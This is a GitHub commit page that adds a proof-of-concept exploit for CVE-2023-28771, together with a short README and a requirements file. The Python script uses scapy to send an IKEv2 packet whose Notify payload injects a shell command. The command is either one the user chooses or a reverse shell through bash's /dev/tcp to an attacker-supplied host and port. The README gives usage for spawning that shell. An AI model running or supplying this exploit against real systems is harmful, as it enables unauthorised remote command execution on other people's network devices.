forked from expzhizhuo/cve_info_data
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
2db0393
commit 57217d1
Showing
3 changed files
with
46 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
#!/usr/bin/python3 | ||
import sys | ||
from scapy.all import * | ||
import argparse | ||
|
||
parser = argparse.ArgumentParser() | ||
parser.add_argument("rhost") | ||
parser.add_argument("--cmd") | ||
parser.add_argument("--lhost") | ||
parser.add_argument("--lport") | ||
args = parser.parse_args() | ||
|
||
load_contrib('ikev2') | ||
|
||
if args.cmd is not None: | ||
cmd = "\";bash -c \"" + args.cmd + "\";echo -n \"" | ||
elif args.lhost and args.lport: | ||
cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + args.lhost + "/" + args.lport + " <&1;\";echo -n \"" | ||
else: | ||
print("Check your syntax, and try again") | ||
sys.exit() | ||
|
||
|
||
packet = IP(dst = args.rhost) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68)) | ||
|
||
send(packet) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# CVE-2023-28771-PoC | ||
PoC for CVE-2023-28771 based on Rapid7's excellent writeup | ||
|
||
Requires the scapy Python library for sending IKE packets. | ||
|
||
``` | ||
usage: CVE-2023-28771-poc.py [-h] [--cmd CMD] [--lhost LHOST] [--lport LPORT] rhost | ||
positional arguments: | ||
rhost | ||
options: | ||
-h, --help show this help message and exit | ||
--cmd CMD | ||
--lhost LHOST | ||
--lport LPORT | ||
``` | ||
|
||
Either use --cmd to run an arbitrary command, or use --lport and --lhost to spawn a revshell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
scapy |